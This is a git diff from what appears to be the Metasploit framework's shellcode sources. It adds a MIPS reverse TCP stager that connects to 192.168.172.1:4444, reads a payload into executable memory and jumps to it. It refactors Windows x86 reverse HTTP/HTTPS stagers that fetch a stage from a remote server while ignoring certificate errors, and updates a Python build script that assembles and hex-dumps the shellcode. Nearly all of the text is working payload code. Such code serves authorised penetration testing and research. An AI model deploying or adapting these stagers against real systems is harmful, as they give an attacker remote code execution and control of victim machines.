+	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+	# a0: domain = PF_INET (2)
+	# a1: type = SOCK_STREAM (2)
+	# a2: protocol = IPPROTO_IP (0)
+	# v0: syscall = __NR_socket (4183)
+	li      $t7, -6
+	nor     $t7, $t7, $zero
+	addi    $a0, $t7, -3
+	addi    $a1, $t7, -3
+	slti    $a2, $zero, -1
+	li      $v0, 4183
+	syscall 0x40404
+	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
+	
+	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
+	# a0: sockfd
+	# a1: addr = AF_INET (2)
+	# a2: addrlen = 16
+	# v0: syscall = __NR_connect (4170)
+	lw      $a0, -4($sp)
+	li      $t7, -3
+	nor     $t7, $t7, $zero
+	sw      $t7, -30($sp)
+	ori     $t6, $zero, 0x5c11  # port
+	sw      $t6, -28($sp)
+	lui     $t6, 0x100          # ip
+	ori     $t6, $t6, 0x7f      # ip
+	sw      $t6, -26($sp)
+	addiu   $a1, $sp, -30
+	li      $t4, -17
+	nor     $a2, $t4, $zero
+	li      $v0, 4170
+	syscall 0x40404
+	
+	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
+	# a0: addr = -1
+	# a1: lenght = 4096
+	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
+	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
+	# sp(16): fd = -1
+	# sp(20): offset = 0
+	# v0: syscall = __NR_mmap (4090)
+	li      $a0, -1
+	li      $a1, 4097
+	addi    $a1, $a1, -1
+	li      $t1, -8
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $a3, 2050
+	li      $t3, -22
+	nor     $t3, $t3, $zero
+	add     $t3, $sp, $t3
+	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
+	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
+	li      $v0, 4090
+	syscall 0x40404
+	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+
+	# read(sockfd, addr, 4096)
+	# a0: sockfd
+	# a1: addr
+	# a2: len = 4096
+	# v0: syscall = __NR_read (4003)
+	lw      $a0, -4($sp)
+	lw      $a1, -8($sp)
+	li      $a2, 4097
+	addi    $a2, $a2, -1
+	li      $v0, 4003
+	syscall 0x40404
+
+	# cacheflush(addr, nbytes, DCACHE)
+	# a0: addr
+	# a1: nbytes
+	# a2: cache = DCACHE (2)
+	# v0: syscall = __NR_read (4147)
+	lw      $a0, -8($sp)
+	add     $a1, $v0, $zero
+	li      $t1, -3
+	nor     $t1, $t1, $0
+	add     $a2, $t1, $0
+	li      $v0, 4147
+	syscall 0x40404
+	
+	# jmp to the stage
+	lw      $s1, -8($sp)
+	lw      $s2, -4($sp)        # sockfd saved on $s2
+	jalr    $s1
+
+	.set    macro
+	.set    reorder
diff --git a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm
index 34be67e4e0..afc55b9410 100644
--- a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm
+++ b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm
@@ -1,6 +1,6 @@
 ;      Title:  Windows Bind Stager (NX, IPv6)
 ;  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
-;     Author:  Rapid7 LLC
+;     Author:  Rapid7, Inc
 
 [BITS 32]
 
diff --git a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm
index 241a3a6c6d..910e45dcbc 100644
--- a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm
+++ b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm
@@ -1,6 +1,6 @@
 ;      Title:  Windows Reverse Connect Stager (NX, IPv6)
 ;  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista
-;     Author:  Rapid7 LLC
+;     Author:  Rapid7, Inc
 
 [BITS 32]
 
diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py
index 31eaa848c8..93e1bf59b5 100644
--- a/external/source/shellcode/windows/x86/build.py
+++ b/external/source/shellcode/windows/x86/build.py
@@ -1,124 +1,128 @@
-#=============================================================================#
-# A simple python build script to build the singles/stages/stagers and
-# some usefull information such as offsets and a hex dump. The binary output
-# will be placed in the bin directory. A hex string and usefull comments will
-# be printed to screen.
-#
-# Example:
-#     >python build.py stager_reverse_tcp_nx
-#
-# Example, to build everything:
-#     >python build.py all > build_output.txt
-#
-# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
-#=============================================================================#
-import os, sys, time
-from subprocess import Popen
-from struct import pack
-#=============================================================================#
-def clean( dir="./bin/" ):
-  for root, dirs, files in os.walk( dir ):
-    for name in files:
-      os.remove( os.path.join( root, name ) )
-#=============================================================================#
-def locate( src_file, dir="./src/" ):
-  for root, dirs, files in os.walk( dir ):
-    for name in files:
-      if src_file == name:
-        return root
-  return None
-#=============================================================================#
-def build( name ):
-  location = locate( "%s.asm" % name )
-  if location:
-    input = os.path.normpath( os.path.join( location, name ) )
-    output = os.path.normpath( os.path.join( "./bin/", name ) )
-    p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
-    p.wait()
-    xmit( name )
-  else:
-    print "[-] Unable to locate '%s.asm' in the src directory" % name
-#=============================================================================#
-def xmit_dump_ruby( data, length=16 ):
-  dump = ""
-  for i in xrange( 0, len( data ), length ):
-    bytes = data[ i : i+length ]
-    hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
-    if i+length <= len(data):
-      hex += " +"
-    dump += "%s\n" % ( hex )
-  print dump
-#=============================================================================#
-def xmit_offset( data, name, value ):
-  offset = data.find( value );
-  if offset != -1:
-    print "# %s Offset: %d" % ( name, offset )
-#=============================================================================#
-def xmit( name, dump_ruby=True ):
-  bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
-  f = open( bin, 'rb')
-  data = f.read()
-  print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
-  xmit_offset( data, "Port", pack( ">H", 4444 ) )           # 4444
-  xmit_offset( data, "LEPort", pack( "<H", 4444 ) )         # 4444
-  xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) )     # 127.0.0.1
-  xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
-  xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
-  xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" )     # hostname filler
-  xmit_offset( data, "RetryCounter", "\x6a\x05" )     # socket retry
-  xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) )  # Filler
-  xmit_offset( data, "Hostname", "https" )
-  xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
-  xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
-  xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
-  xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
-  xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) )  # Egg tag 1
-  xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) )  # Egg tag 2
-  xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) )   # Egg tag size
-  xmit_offset( data, "RC4Key", "RC4KeyMetasploit")          # RC4 key
-  xmit_offset( data, "XORKey", "XORK")                      # XOR key
-  if( name.find( "egghunter" ) >= 0 ):
-	  null_count = data.count( "\x00" )
-	  if( null_count > 0 ):
-		print "# Note: %d NULL bytes found." % ( null_count )
-  if dump_ruby:
-    xmit_dump_ruby( data )
 #=============================================================================#
-def main( argv=None ):
-  if not argv:
-    argv = sys.argv
-  try:
-    if len( argv ) == 1:
-      print "Usage: build.py [clean|all|<name>]"
-    else:
-      print "# Built on %s\n" % (  time.asctime( time.localtime() ) )
-      if argv[1] == "clean":
-        clean()
-      elif argv[1] == "all":
-        for root, dirs, files in os.walk( "./src/egghunter/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/migrate/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/single/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/stage/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/stager/" ):
-          for name in files:
-            build( name[:-4] )
-        for root, dirs, files in os.walk( "./src/kernel/" ):
-          for name in files:
-            build( name[:-4] )
-      else:
-        build( argv[1] )
-  except Exception, e:
-    print "[-] ", e
-#=============================================================================#
-if __name__ == "__main__":
-  main()
+# A simple python build script to build the singles/stages/stagers and
+# some usefull information such as offsets and a hex dump. The binary output
+# will be placed in the bin directory. A hex string and usefull comments will
+# be printed to screen.
+#
+# Example:
+#     >python build.py stager_reverse_tcp_nx
+#
+# Example, to build everything:
+#     >python build.py all > build_output.txt
+#
+# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
 #=============================================================================#
+import os, sys, time
+from subprocess import Popen
+from struct import pack
+#=============================================================================#
+def clean( dir="./bin/" ):
+	for root, dirs, files in os.walk( dir ):
+		for name in files:
+			os.remove( os.path.join( root, name ) )
+#=============================================================================#
+def locate( src_file, dir="./src/" ):
+	for root, dirs, files in os.walk( dir ):
+		for name in files:
+			if src_file == name:
+				return root
+	return None
 
+#=============================================================================#
+def build( name ):
+	location = locate( "%s.asm" % name )
+	if location:
+		input = os.path.normpath( os.path.join( location, name ) )
+		output = os.path.normpath( os.path.join( "./bin/", name ) )
+		p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] )
+		p.wait()
+		xmit( name )
+	else:
+		print "[-] Unable to locate '%s.asm' in the src directory" % name
+
+#=============================================================================#
+def xmit_dump_ruby( data, length=16 ):
+	dump = ""
+	for i in xrange( 0, len( data ), length ):
+		bytes = data[ i : i+length ]
+		hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) )
+		if i+length <= len(data):
+			hex += " +"
+		dump += "%s\n" % ( hex )
+	print dump
+
+#=============================================================================#
+def xmit_offset( data, name, value, match_offset=0 ):
+	offset = data.find( value );
+	if offset != -1:
+		print "# %s Offset: %d" % ( name, offset + match_offset )
+
+#=============================================================================#
+def xmit( name, dump_ruby=True ):
+	bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) )
+	f = open( bin, 'rb')
+	data = f.read()
+	print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) )
+	xmit_offset( data, "Port", pack( ">H", 4444 ) )           # 4444
+	xmit_offset( data, "LEPort", pack( "<H", 4444 ) )         # 4444
+	xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) )     # 127.0.0.1
+	xmit_offset( data, "IPv6Host", pack( "<Q", 0xBBBBBBBBBBBBBBB1 ) ) # An IPv6 Address
+	xmit_offset( data, "IPv6ScopeId", pack( "<L", 0xAAAAAAA1 ) ) # An IPv6 Scope ID
+	xmit_offset( data, "HostName", "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\x00" )     # hostname filler
+	xmit_offset( data, "RetryCounter", "\x6a\x05", 1 )     # socket retry
+	xmit_offset( data, "CodeLen", pack( "<L", 0x12345678 ) )  # Filler
+	xmit_offset( data, "Hostname", "https" )
+	xmit_offset( data, "ExitFunk", pack( "<L", 0x0A2A1DE0 ) ) # kernel32.dll!ExitThread
+	xmit_offset( data, "ExitFunk", pack( "<L", 0x56A2B5F0 ) ) # kernel32.dll!ExitProcess
+	xmit_offset( data, "ExitFunk", pack( "<L", 0xEA320EFE ) ) # kernel32.dll!SetUnhandledExceptionFilter
+	xmit_offset( data, "ExitFunk", pack( "<L", 0xE035F044 ) ) # kernel32.dll!Sleep
+	xmit_offset( data, "EggTag1", pack( "<L", 0xDEADDEAD ) )  # Egg tag 1
+	xmit_offset( data, "EggTag2", pack( "<L", 0xC0DEC0DE ) )  # Egg tag 2
+	xmit_offset( data, "EggTagSize", pack( ">H", 0x1122 ) )   # Egg tag size
+	xmit_offset( data, "RC4Key", "RC4KeyMetasploit")          # RC4 key
+	xmit_offset( data, "XORKey", "XORK")                      # XOR key
+	if( name.find( "egghunter" ) >= 0 ):
+		null_count = data.count( "\x00" )
+		if( null_count > 0 ):
+			print "# Note: %d NULL bytes found." % ( null_count )
+	if dump_ruby:
+		xmit_dump_ruby( data )
+
+#=============================================================================#
+def main( argv=None ):
+	if not argv:
+		argv = sys.argv
+	try:
+		if len( argv ) == 1:
+			print "Usage: build.py [clean|all|<name>]"
+		else:
+			print "# Built on %s\n" % (  time.asctime( time.localtime() ) )
+			if argv[1] == "clean":
+				clean()
+			elif argv[1] == "all":
+				for root, dirs, files in os.walk( "./src/egghunter/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/migrate/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/single/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/stage/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/stager/" ):
+					for name in files:
+						build( name[:-4] )
+				for root, dirs, files in os.walk( "./src/kernel/" ):
+					for name in files:
+						build( name[:-4] )
+			else:
+				build( argv[1] )
+	except Exception, e:
+		print "[-] ", e
+#=============================================================================#
+if __name__ == "__main__":
+  main()
+#=============================================================================#
diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm
index 2acc13ddec..3b7a85d82e 100644
--- a/external/source/shellcode/windows/x86/src/block/block_api.asm
+++ b/external/source/shellcode/windows/x86/src/block/block_api.asm
@@ -23,7 +23,7 @@ api_call:
   mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
 next_mod:                ;
   mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
-  movzx ecx, word [edx+38] ; Set ECX to the length we want to check 
+  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
   xor edi, edi           ; Clear EDI which will store the hash of the module name
 loop_modname:            ;
   xor eax, eax           ; Clear EAX
@@ -34,22 +34,25 @@ loop_modname:            ;
 not_lowercase:           ;
   ror edi, 13            ; Rotate right our hash value
   add edi, eax           ; Add the next byte of the name
-  loop loop_modname      ; Loop untill we have read enough
+  loop loop_modname      ; Loop until we have read enough
+
   ; We now have the module hash computed
   push edx               ; Save the current position in the module list for later
   push edi               ; Save the current module hash for later
-  ; Proceed to itterate the export address table, 
+  ; Proceed to iterate the export address table,
   mov edx, [edx+16]      ; Get this modules base address
   mov eax, [edx+60]      ; Get PE header
-  add eax, edx           ; Add the modules base address
-  mov eax, [eax+120]     ; Get export tables RVA
-  test eax, eax          ; Test if no export address table is present
-  jz get_next_mod1       ; If no EAT present, process the next module
-  add eax, edx           ; Add the modules base address
-  push eax               ; Save the current modules EAT
-  mov ecx, [eax+24]      ; Get the number of function names  
-  mov ebx, [eax+32]      ; Get the rva of the function names
+
+  ; use ecx as our EAT pointer here so we can take advantage of jecxz.
+  mov ecx, [eax+edx+120] ; Get the EAT from the PE header
+  jecxz get_next_mod1    ; If no EAT present, process the next module
+  add ecx, edx           ; Add the modules base address
+  push ecx               ; Save the current modules EAT
+  mov ebx, [ecx+32]      ; Get the rva of the function names
   add ebx, edx           ; Add the modules base address
+  mov ecx, [ecx+24]      ; Get the number of function names
+  ; now ecx returns to its regularly scheduled counter duties
+
   ; Computing the module hash + function hash
 get_next_func:           ;
   jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
@@ -66,14 +69,15 @@ loop_funcname:           ;
   cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
   jne loop_funcname      ; If we have not reached the null terminator, continue
   add edi, [ebp-8]       ; Add the current module hash to the function hash
-  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for 
+  cmp edi, [ebp+36]      ; Compare the hash to the one we are searching for
   jnz get_next_func      ; Go compute the next function hash if we have not found it
+
   ; If found, fix up stack, call the function and then value else compute the next one...
   pop eax                ; Restore the current modules EAT
-  mov ebx, [eax+36]      ; Get the ordinal table rva      
+  mov ebx, [eax+36]      ; Get the ordinal table rva
   add ebx, edx           ; Add the modules base address
   mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
-  mov ebx, [eax+28]      ; Get the function addresses table rva  
+  mov ebx, [eax+28]      ; Get the function addresses table rva
   add ebx, edx           ; Add the modules base address
   mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
   add eax, edx           ; Add the modules base address to get the functions actual VA
@@ -88,10 +92,11 @@ finish:
   push ecx               ; Push back the correct return value
   jmp eax                ; Jump into the required function
   ; We now automagically return to the correct caller...
+
 get_next_mod:            ;
   pop eax                ; Pop off the current (now the previous) modules EAT
 get_next_mod1:           ;
   pop edi                ; Pop off the current (now the previous) modules hash
   pop edx                ; Restore our position in the module list
   mov edx, [edx]         ; Get the next module
-  jmp short next_mod     ; Process this module
\ No newline at end of file
+  jmp short next_mod     ; Process this module
diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
index 42c717622a..20c4f643e6 100644
--- a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+++ b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
@@ -6,6 +6,25 @@
 ;-----------------------------------------------------------------------------;
 [BITS 32]
 
+%ifdef ENABLE_SSL
+%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
+  ;0x80000000 | ; INTERNET_FLAG_RELOAD
+  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
+  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
+  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
+  ;0x00000200 | ; INTERNET_FLAG_NO_UI
+  ;0x00800000 | ; INTERNET_FLAG_SECURE
+  ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
+  ;0x00001000   ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
+%else
+%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
+  ;0x80000000 | ; INTERNET_FLAG_RELOAD
+  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
+  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
+  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
+  ;0x00000200   ; INTERNET_FLAG_NO_UI
+%endif
+
 ; Input: EBP must be the address of 'api_call'.
 ; Output: EDI will be the socket for the connection to the server
 ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@@ -16,65 +35,74 @@ load_wininet:
   push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
   call ebp               ; LoadLibraryA( "wininet" )
 
+  xor ebx,ebx
+
 internetopen:
-  xor edi,edi
-  push edi               ; DWORD dwFlags
-  push edi               ; LPCTSTR lpszProxyBypass
-  push edi               ; LPCTSTR lpszProxyName
-  push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer
-  push esp               ; LPCTSTR lpszAgent ("\x00")
+  push ebx               ; DWORD dwFlags
+  push ebx               ; LPCTSTR lpszProxyBypass (NULL)
+  push ebx               ; LPCTSTR lpszProxyName (NULL)
+  push ebx               ; DWORD dwAccessType (PRECONFIG = 0)
+  push ebx               ; LPCTSTR lpszAgent (NULL)
   push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
   call ebp
 
-  jmp short dbl_get_server_host
-
 internetconnect:
-  pop ebx                ; Save the hostname pointer
-  xor ecx, ecx
-  push ecx               ; DWORD_PTR dwContext (NULL)
-  push ecx               ; dwFlags
+  push ebx               ; DWORD_PTR dwContext (NULL)
+  push ebx               ; dwFlags
   push byte 3            ; DWORD dwService (INTERNET_SERVICE_HTTP)
-  push ecx               ; password
-  push ecx               ; username
+  push ebx               ; password (NULL)
+  push ebx               ; username (NULL)
   push dword 4444        ; PORT
-  push ebx               ; HOSTNAME
+  jmp short dbl_get_server_host ; push pointer to HOSTNAME
+got_server_host:
   push eax               ; HINTERNET hInternet
   push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
   call ebp
 
-  jmp get_server_uri
-
 httpopenrequest:
-  pop ecx
-  xor edx, edx           ; NULL
-  push edx               ; dwContext (NULL)
-  push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
-    ;0x80000000 |        ; INTERNET_FLAG_RELOAD
-    ;0x04000000 |        ; INTERNET_NO_CACHE_WRITE
-	;0x00200000 |        ; INTERNET_FLAG_NO_AUTO_REDIRECT
-    ;0x00000200 |        ; INTERNET_FLAG_NO_UI
-    ;0x00400000          ; INTERNET_FLAG_KEEP_CONNECTION
-  push edx               ; accept types
-  push edx               ; referrer
-  push edx               ; version
-  push ecx               ; url
-  push edx               ; method
+  push ebx               ; dwContext (NULL)
+  push HTTP_OPEN_FLAGS   ; dwFlags
+  push ebx               ; accept types
+  push ebx               ; referrer
+  push ebx               ; version
+  jmp get_server_uri     ; push pointer to url
+got_server_uri:
+  push ebx               ; method
   push eax               ; hConnection
   push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
   call ebp
-  mov esi, eax           ; hHttpRequest
+  xchg esi, eax          ; save hHttpRequest in esi
 
 set_retry:
   push byte 0x10
-  pop ebx
+  pop edi
+
+send_request:
+
+%ifdef ENABLE_SSL
+; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
+set_security_options:
+  push 0x00003380
+    ;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
+    ;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
+    ;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE
+    ;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
+    ;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION
+  mov eax, esp
+  push byte 4            ; sizeof(dwFlags)
+  push eax               ; &dwFlags
+  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
+  push esi               ; hHttpRequest
+  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
+  call ebp
+
+%endif
 
 httpsendrequest:
-  xor edi, edi
-  push edi               ; optional length
-  push edi               ; optional
-  push edi               ; dwHeadersLength
-  push edi               ; headers
+  push ebx               ; lpOptional length (0)
+  push ebx               ; lpOptional (NULL)
+  push ebx               ; dwHeadersLength (0)
+  push ebx               ; lpszHeaders (NULL)
   push esi               ; hHttpRequest
   push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
   call ebp
@@ -82,28 +110,30 @@ httpsendrequest:
   jnz short allocate_memory
 
 try_it_again:
-  dec ebx
-  jz failure
-  jmp short httpsendrequest
+  dec edi
+  jnz send_request
 
-dbl_get_server_host:
-  jmp get_server_host
-
-get_server_uri:
-  call httpopenrequest
-
-server_uri:
- db "/12345", 0x00
+; if we didn't allocate before running out of retries, fall through to
+; failure
 
 failure:
   push 0x56A2B5F0        ; hardcoded to exitprocess for size
   call ebp
 
+dbl_get_server_host:
+  jmp get_server_host
+
+get_server_uri:
+  call got_server_uri
+
+server_uri:
+ db "/12345", 0x00
+
 allocate_memory:
   push byte 0x40         ; PAGE_EXECUTE_READWRITE
   push 0x1000            ; MEM_COMMIT
   push 0x00400000        ; Stage allocation (8Mb ought to do us)
-  push edi               ; NULL as we dont care where the allocation is (zero'd from the prev function)
+  push ebx               ; NULL as we dont care where the allocation is
   push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
   call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 
@@ -135,7 +165,7 @@ execute_stage:
   ret                    ; dive into the stored stage address
 
 get_server_host:
-  call internetconnect
+  call got_server_host
 
 server_host:
 
diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm
deleted file mode 100644
index 28a0a04783..0000000000
--- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm
+++ /dev/null
@@ -1,159 +0,0 @@
-;-----------------------------------------------------------------------------;
-; Author: HD Moore
-; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
-; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
-; Version: 1.0
-;-----------------------------------------------------------------------------;
-[BITS 32]
-
-; Input: EBP must be the address of 'api_call'.
-; Output: EDI will be the socket for the connection to the server
-; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
-load_wininet:
-  push 0x0074656e        ; Push the bytes 'wininet',0 onto the stack.
-  push 0x696e6977        ; ...
-  push esp               ; Push a pointer to the "wininet" string on the stack.
-  push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
-  call ebp               ; LoadLibraryA( "wininet" )
-
-internetopen:
-  xor edi,edi
-  push edi               ; DWORD dwFlags
-  push edi               ; LPCTSTR lpszProxyBypass
-  push edi               ; LPCTSTR lpszProxyName
-  push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer  
-  push esp               ; LPCTSTR lpszAgent ("\x00")
-  push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
-  call ebp
-
-  jmp short dbl_get_server_host
-
-internetconnect:
-  pop ebx                ; Save the hostname pointer
-  xor ecx, ecx
-  push ecx               ; DWORD_PTR dwContext (NULL)
-  push ecx               ; dwFlags
-  push byte 3            ; DWORD dwService (INTERNET_SERVICE_HTTP)
-  push ecx               ; password
-  push ecx               ; username
-  push dword 4444        ; PORT
-  push ebx               ; HOSTNAME
-  push eax               ; HINTERNET hInternet
-  push 0xC69F8957        ; hash( "wininet.dll", "InternetConnectA" )
-  call ebp
-
-  jmp get_server_uri
-
-httpopenrequest:
-  pop ecx
-  xor edx, edx           ; NULL
-  push edx               ; dwContext (NULL)
-  push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
-    ;0x80000000 |        ; INTERNET_FLAG_RELOAD
-    ;0x04000000 |        ; INTERNET_NO_CACHE_WRITE
-	;0x00800000 |        ; INTERNET_FLAG_SECURE
-	;0x00200000 |        ; INTERNET_FLAG_NO_AUTO_REDIRECT
-    ;0x00001000 |        ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
-    ;0x00002000 |        ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
-    ;0x00000200          ; INTERNET_FLAG_NO_UI
-  push edx               ; accept types
-  push edx               ; referrer
-  push edx               ; version
-  push ecx               ; url
-  push edx               ; method
-  push eax               ; hConnection
-  push 0x3B2E55EB        ; hash( "wininet.dll", "HttpOpenRequestA" )
-  call ebp
-  mov esi, eax           ; hHttpRequest
-
-set_retry:
-  push byte 0x10
-  pop ebx
-
-; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
-set_security_options:
-  push 0x00003380
-    ;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
-    ;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
-    ;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE
-    ;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
-    ;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION
-  mov eax, esp
-  push byte 4            ; sizeof(dwFlags)
-  push eax               ; &dwFlags
-  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
-  push esi               ; hRequest
-  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
-  call ebp
-
-httpsendrequest:
-  xor edi, edi
-  push edi               ; optional length
-  push edi               ; optional
-  push edi               ; dwHeadersLength
-  push edi               ; headers
-  push esi               ; hHttpRequest
-  push 0x7B18062D        ; hash( "wininet.dll", "HttpSendRequestA" )
-  call ebp
-  test eax,eax
-  jnz short allocate_memory
-
-try_it_again:
-  dec ebx
-  jz failure
-  jmp short set_security_options
-
-dbl_get_server_host:
-  jmp get_server_host
-
-get_server_uri:
-  call httpopenrequest
-
-server_uri:
- db "/12345", 0x00
-
-failure:
-  push 0x56A2B5F0        ; hardcoded to exitprocess for size
-  call ebp
-
-allocate_memory:
-  push byte 0x40         ; PAGE_EXECUTE_READWRITE
-  push 0x1000            ; MEM_COMMIT
-  push 0x00400000        ; Stage allocation (8Mb ought to do us)
-  push edi               ; NULL as we dont care where the allocation is (zero'd from the prev function)
-  push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
